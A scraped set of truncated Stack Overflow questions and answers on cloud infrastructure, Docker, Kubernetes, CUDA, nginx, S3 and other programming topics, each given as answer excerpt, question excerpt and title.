There is no way to implement this the way you described it. When a service is frontended with IAP, all calls (from outside and inside the vpc) have to be authenticated with IAP.The solution is to deploy a set of Internal LoadBalancers in front of Service1 and use those from Service2 (via Cloud DNS to resolve the LB IP ...
I have 2 services, let's call themService 1andService 2.Service 1 is a Kubernetes Cluster, while Service 2 has been deployed on a single VM. Both services have separate Global Load Balancers set up.Now, I would like to set up IAP for the service deployed on Kubernetes cluster (service 1), but there are hooks from servi...
Set up IAP for GKE and allow other service to connect without IAP
Prometheus doesn't have any built-in authentication or authorisation (there's just too many possible configurations), however you can use a reverse proxy to achieve this.http://www.robustperception.io/adding-basic-auth-to-prometheus-with-nginx/describes one way to do it.ShareFollowansweredSep 5, 2015 at 22:05brian-braz...
Closed.This question does not meetStack Overflow guidelines. It is not currently accepting answers.This question does not appear to be abouta specific programming problem, a software algorithm, or software tools primarily used by programmers. If you believe the question would be on-topic onanother Stack Exchange site, ...
password protect prometheus access [closed]
If you use a byte[], then you must allocate it from the Java heap and allow it to control your memory management. However, you can use a ByteBuffer, which allows you to perform your memory management in the native code. You can allocate a chunk of memory in your native code and access it from Java without a copy.
I need to allocate array of bytes inside JNI C-function. Then transmit this array into Java code as a byte[] object. I know there is a function NewByteArray, but it takes as input only size of byte array, so I can’t use custom memory allocation functions. In my case I need to use very specific nonstandard malloc-like ...
Custom memory allocation inside JNI native function
We usePrometheusto monitor OOM events.This expression should report the number of times that memory usage has reached the limits:rate(container_memory_failcnt{pod_name!=""}[5m]) > 0FYI: this is the next best thing to proper docs,the code
In our Kuberenetes cluster, we are running into sporadic situations where a cluster node runs out of memory and Linux invokes OOM killer. Looking at the logs, it appears that the Pods scheduled onto the Node are requesting more memory than can be allocated by the Node.The issue is that, when OOM killer is invoked, it p...
How to get history of Pods run on Kubernetes Node?
My Server Configuration was wrong because of which i was not able to open the PORT 443. Nothing was blocked from firewall or Azure. If anyone facing the same problem then first be sure about your Server settings then firewall and in the end you need to enable PORT 443 in the Azure portal. Hope it will help others as we...
I have hosted my website on Microsoft Azure Virtual Machine using Ubuntu 14.04.I am trying to open Port 443 in Endpoints on Azure Portal.But the firewall is blocking it.I tried to open it through the firewall but its still showing as closed.Can someone guide me as to what I need to do in order to open it.
Port 443 blocked by Firewall in Ubuntu 14.04 hosted on Azure
It's basically a two-or-three-step process, which cleans the project of all cached assets. Of course, if anyone uses this technique, and a project still does not show updated assets, then please add an answer! It’s definitely possible that someone out there has encountered situations that require a step that I’m not i...
Is there a procedure I can follow that includes running a script in the terminal, to delete all the files under the derived data folder and reliably clean a project? Sometimes, a project's assets don't always get updated to my simulator or device. It's mostly trial and error, and when I find that an old asset made its...
How to Delete Derived Data and Clean Project in Xcode 5 and later?
This presentation dates from the very early days of CUDA, and applies to first generation hardware.That hardware had shared memory arranged in 8 32 bit banks. Because every eighth entry in the shared array resides in the same bank, there are bank conflicts at a number of levels of that reduction tree.This problem was a...
I was reading the presentation on Optimizing Parallel Reduction in CUDA by Mark Harris. Here is a slide I have problem in:It says there is bank conflict problem in this method. But why? All threads are accessing two consecutive memory cell which are in different banks. Neither of them accesses a specific memory cell co...
Bank conflict in parallel reduction using interleaved addressing method
Well, the basic process of setting up a custom domain is described here:https://developers.google.com/appengine/docs/domainIs there something in that article that isn't clear?The article does delegate an important part of the process, which is setting up a Google Apps account for your domain (see "Otherwise, click Sign...
Google App Engine offersSSL for Custom Domains, but I'm not sure how to properly set it up with my app. Say I'm runningmyapp.appspot.comand I ownmyapp.com, can someone explain to me the exact steps I need to take in order to make my App Engine app serve on my .com domain?
Google App Engine - how to set up an SSL for Custom Domain
I decided to useVPC endpointsto control ingress. There's an internal load-balancer (private subnet) accessible only through VPC/VPN that routes traffic to a VPC endpoint.Bucket policy looks like (Terraform template){ "Version": "2012-10-17", "Id": "Policy1415115909152", "Statement": [ { "Sid": "deny-get...
Currently we have a static site deployed to ECS (Elastic Container Service) and fronted by an ELB (Elastic Load Balancer). This model doesn't really make sense, since the container is just running NGINX to serve static assets.However, what we do get from this model, is VPN-only access to the website (our VPN client for...
AWS S3 static site with HTTPS and VPN-only access
To move images to another drive or another server:docker save image_name > image_name.tar mv image_name.tar /somewhere/else/Load it back into dockerdocker load < image_name.tarReference.
We have noticed that our containers are taking up a lot of space, one of the reasons for this is the images.We would like to move the images.I know right now they are stored in/var/lib/docker/graph/<id>/layerIs there a way to move these to another location/persistent disk?
How do I move a docker container's image to a persistent disk?
It is telling you the GPU driver you have installed cannot cope with the CUDA version you are using. Either update your driver to the latest version or downgrade your CUDA runtime to a version supported by your GPU driver.
My env configuration:python:3.6 tensorflow-GPU 1.3 CUDA:9.0 VS:2013 torch:0.4.0run CUDA 9.0 sample:successbut when I run the pytorch code,I get the error info as follows:File "D:\Anaconda3\lib\site-packages\torch\nn\modules\module.py", line 249, in return self._apply(lambda t: t.cuda(device)) RuntimeError: cuda ru...
Windows 10,CUDA 9,: CUDA driver version is insufficient for CUDA runtime version at ..\src\THC\THCG
Finally I found the solution. Following is the solution:- Never use relative path in python scripts to be executed via crontab. I did something like this instead:- import os import sys import time, datetime CLASS_PATH = '/srv/www/live/mainapp/classes' SETTINGS_PATH = '/srv/www/live/foodtrade' sys.path.insert(0, CLAS...
I have set up a cronjob for root user in ubuntu environment as follows by typing crontab -e 34 11 * * * sh /srv/www/live/CronJobs/daily.sh 0 08 * * 2 sh /srv/www/live/CronJobs/weekly.sh 0 08 1 * * sh /srv/www/live/CronJobs/monthly.sh But the cronjob does not run. I have tried checking if the cronjob is running ...
CronJob not running
I'm not 100% sure what you're asking, but in general you can override subchart values at any point by putting them under a key matching the charts name. So something like:Common: foo: bar
We have created common helm charts. Using the common charts, we have derived HelloWorld helm chartCharts Common templates > _deployment.yaml > _configmap.yaml > _service.yaml Chart.yaml HelloWorld templates > deployment.yaml > configmap.yaml > service.yaml Char...
Override values of Subcharts inHelm
I had the same issues with Xcode 4.3 so I have been using Xcode 4.4 and 4.5 for development (I'm not close the delivering yet, so it doesn't matter than I cannot submit my App using these versions yet).An alternative would be to use an external source control tool; I would recommendSourceTreeas it's free and works well...
When using the xCode IDE when selecting file -> Source Control -> Pull or Push xCode crashes. The only workaround so far found for this is to load the organiser and select each repository and click pull then when then repository name displays cancel the dialog. After repeating this for each repository the normal push/p...
xcode git pull/push crash
0 I'm not sure if it's a good practice, but you can pass --net option when you start your container: docker run --net=host ... From man docker run: --net="bridge" Set the Network mode for the container 'bridge': creates a new network stack for the container ...
I have multiple NICs on my machine and hence multiple externally routable IP addresses. When I start a container, I want to make the container's virtual eth0 have the IP address of one of my publically visible IP addresses This is because each of my applications queries its local IP and communicates it to the outside ...
How do I pass the host's IP address to my container in Docker
Usually you don't need SSL/HTTPS between ALB and instances, or when you route traffic within a VPC. So your traffic would be:client ---(HTTPS)--->ALB----(HTTP)--->NGINX---(HTTP)--->ALBUsually you only encrypt traffic from the internet to ALB.ShareFollowansweredSep 25, 2021 at 8:39MarcinMarcin227k1414 gold badges267267 ...
I'm using Nginx as a reverse proxy on an EC2 in the private subnet. In the public subnet, I created an ALB and also created an ACM for domainproxy.mydomain.test.The LB's target group is using 443 port with HTTPS protocol. The LB's listener is also using the 443 port and HTTPS protocol, evenELBSecurityPolicy-2016-08ssl ...
Is it necessary to create a self signed cert for Nginx under ACM on AWS?
Since you are serving out of S3, the best/easiest thing to do is to useS3 Routing Rules. Here's an example that should capture what you asked for:<RoutingRules> <RoutingRule> <Condition> <KeyPrefixEquals>this-is-example/images/</KeyPrefixEquals> </Condition> <Redirect> <ReplaceKeyPrefixWith>...
I have a Cloudfront domain that servers images from S3 in the form:http://static.example.com/images/image1.jpg-> S3://mybucket/images/image1.jpgI need to do a rewrite, so this url works as well:http://static.example.com/this-is-example/images/image1.jpg-> S3://mybucket/images/image1.jpgIt's possible to do this with clo...
Cloudfront rewrite url to S3
The module code has changed fromapache_beam.utilstoapache_beam.option:You should now use:from apache_beam.options.pipeline_options import PipelineOptions from apache_beam.options.pipeline_options import SetupOptions from apache_beam.options.pipeline_options import GoogleCloudOptions from apache_beam.options.pipeline_op...
I want to create very simple pipeline and already get stuck at the beginning. Here comes my code:import apache_beam as beam options = PipelineOptions() google_cloud_options = options.view_as(GoogleCloudOptions) google_cloud_options.project = 'myproject' google_cloud_options.job_name = 'mypipe' google_cloud_options.stag...
beam dataflow python name 'PipelineOptions' is not defined
I'm not sure of exact directions for NameCheap but the general way to redirect a subdomain to the Heroku app would be to add a CNAME record to the subdomain. To redirect the root domain you will need to set a CNAME like functionality at the zone apex.Subdomainblog.cheese.com would have a CNAME record pointing to myblog...
I'm having trouble with routing a subdomain to a Wordpress blog hosted on Heroku, and the root domain to another Heroku app.If I have purchased a domain calledcheese.comon NameCheap and I'd like to route a subdomain likeblog.cheese.comhow could I do this on Heroku?What type of setting would I need to place on each Hero...
How to point subdomain to a Heroku app, and root domain to another Heroku app?
Whether a stack is suited for your particular purpose or not is an issue I will not deal with. Now, if you are concerned about the number of allocations, the default internal container for a std::stack is an std::deque<>. It will not need to allocate new memory for the stack in each push (as long as it has space) and w...
I need to create a pool of objects to eliminate dynamic allocations. Is it efficient to use std::stack to contain pointers of allocated objects?I suspect every time I push the released object back to stack a new stack element will be dynamically allocated. Am I right? Should I use std::vector to make sure nothing new i...
Can I use std::stack as object pool container?
You are correct. When you write s1 := s2 with two string variables, there is one string in memory with (at least two) references to it. You also ask whether trying to reduce the number of strings in memory is a good idea. That depends on how many strings you have in comparison to other memory consuming objects. Only y...
I have a large amout of objects that all have a filename stored inside. All file names are within a given base directory (let's call it C:\BaseDir\). I am now considering two alternatives: Store absolute paths in the objects Store relative paths in the object and store the base path additionally If I understand Delp...
Delphi String Sharing Question
In C++ parlance, two separate concepts are 'object lifetime' and 'storage duration'. A duration is pretty much the same as lifetime, but Standard uses two distinct words here. Storage refers to the physical memory occupied by the object, while object lifetime refers to the time when it is allowed to access the object....
To check this, I have run this small test code. #include <iostream> using namespace std; class name { public: int data; name(int data) { this->data = data; } void printData() { cout << data << endl; } }; int main() { name* namePointer; { name n(5); namePointer = &n; } namePointer->p...
C++ - Does the Destructor just deallocate the memory or does it actually delete the object?
The R option forces an external redirect. Try just[NC]insteadShareFollowansweredNov 25, 2012 at 1:50scottlimmerscottlimmer2,27011 gold badge2323 silver badges2929 bronze badges1Thanks, but tried that too. Tried all combinations of L, R, NC... since I don't really know what I'm doing, but I know they do something.–Coz ...
I'm using wordpress.I'd like my site's domain root to display contents of another page while still showing my domain root as the url.EXAMPLE: "http://www.mysite.com" displays contents of "http://www.mysite.com/blogs/home" but users still see "http://www.mysite.com" in the address bar.I've managed to get the redirect w...
Redirecting home to page in subdirectory, mask url
If I understand correctly you want to create a found variable and test it outside the loop like this found = False # <---- for data in repo.pull_request(prs.number).files(): if data.filename.endswith((".png",".jpeg",".gif")): pass else: for files_content in [repo.blob(data.sha)]: ...
I have some code below that counts the number of lines in decoded GitHub binary content and then looks for percent change based on the changes count of a file. This is contained in a loop within a loop in an if/else statement. What I have now works, but it outputs the results of each individual file in the pull requ...
Line count of decoded binary content from json response
6 I stumbled upon the same issue and tried using the kibana_admin and kibana_system built-in users but that didn't work either. Maybe you can set the password for these users but I was not able to. The elastic user role is not allowed to have system-index write-access which...
I want to run elasticsearch and kibana with docker-compose. This is my docker-compose.yml which I run with docker-compose --env-file dev.env up Docker Compose version: '3.1' services: elasticsearch: image: docker.elastic.co/elasticsearch/elasticsearch:8.1.1 container_name: elasticsearch environment: ...
Elasticsearch-Kibana docker-compose - Value of "elastic" is forbidden
You should change your internets, since they give you wrong advices. Just remove all add_header lines from your location (as well as surplus brake): location ~ ^/assets/.*-([^.]+)\.(js|css)$ { gzip_static on; # there's also a .gz of the asset expires max; } and read the docs from the true Internet: http://nginx...
I'm trying to tell nginx to cache some of my assets (js, css) forever, or at least for a very long time. The idea is that once an asset bundle is compiled and published with an /assets/ URI prefix (e.g. /assets/foo-{fingerprint}.js) it stays there and doesn't ever need to change. The internets told me I should write ...
Indefinitely caching a HTTP response via Nginx fails
The only API with a filter parameter would by thesearch repositoriesone:GET /legacy/repos/search/:keywordwith the optional parameterlanguage.But that would returned a list of repositories on multiple page, so you would still need to make the sum yourself.Note that very recently (as in early March, 2013), theAPI might l...
I would like to use theGithub APIto retrieve the number of repositories for each language. For example,C++ 200,134 Java 175,432 C# 123,453 ...
Is there a way to get the number of repositories per language using Github's API?
The problem here is that the custom error document denoted byErrorDocumentisn't processed unless the URL processing pipeline can't find a file (or a handler) that the URL points to. In you case, the processing pipelinedoesfind a file, your php file, thus it never reaches a 404 on its own so theErrorDocumentis never app...
In PHP I use the following code to indicate page not found:header("HTTP/1.0 404 Not Found");exit();In.htaccessfile I have the following line to handle 404 custom document:ErrorDocument 404 /404.htmlNow when I send the PHP 404 header I expect it to show the custom404.htmldefined in.htaccessbut instead it shows a message...
Display 404 document from htaccess after sending 404 header in PHP
You can:Mount the S3 bucket using S3FS FUSE and then you output directly to it.How to Mount S3 Bucket on CentOS/RHEL and Ubuntu using S3FSSegment the media for HTTP streaming and upload each segment and playlists using the S3 API and a script of your choice.I'd go with 1 for a live stream.
Heres my setup; - I have a local PC running ffmpeg with output configured to h.264 and aac - and S3 bucket created at AWSwhat i need to do is, use ffmpeg [local] output to upload files directly to s3 bucket. PS: Planing to use that s3 bucket with cloudfront to allow 1 [one] user to stream a live event with about setup...
Local ffmpeg output to S3 Bucket
2 There is no "Rails way" to do this. This is a problem no matter what framework/language you're using and is best solved with a content delivery network (aka CDN) Share Improve this answer Follow ...
In a Rails 4 app, we have some big images on our homepage (the dimensions are like 2400px on width) and naturally, their loading is quite slow. What are the options to speed up loading them? One way is to decrease their quality => their size => faster loading. But is there a Rails way how to pre-cache/compress them? T...
Rails 4 - is there a way to compress big images to make them load faster?
Some of the new counters are not supported by the old command line profiler. If you are using CUDA 5, you can try nvprof: nvprof --events l1_shared_bank_conflict <app_name> nvprof --query-events See http://docs.nvidia.com/cuda/profiler-users-guide/index.html#nvprof-overview
What is the new l1_shared_bank_conflict (or the equivalent) counter for CUDA with CC 3.0? In CUPTI User Guide, it says shared_[load|store]_bank_conflict, but it didn't show when I tried so. I'm using the command line profiler in Linux.
l1 shared bank conflict profiler counter for CUDA CC 3.0
From MSDN,Cache API Configuration SettingsYou can configure the application's cache API in your Web.config file. As with the page output cache, application hosters can set configuration properties in the Machine.config file and lock cache configuration settings for all applications. The application cache API is configu...
Is there any way to disable Cache (System.Web.Caching.Cache, not OutPut cache for aspx page) on web.config or global.asax or else somehow?
Disable asp.net cache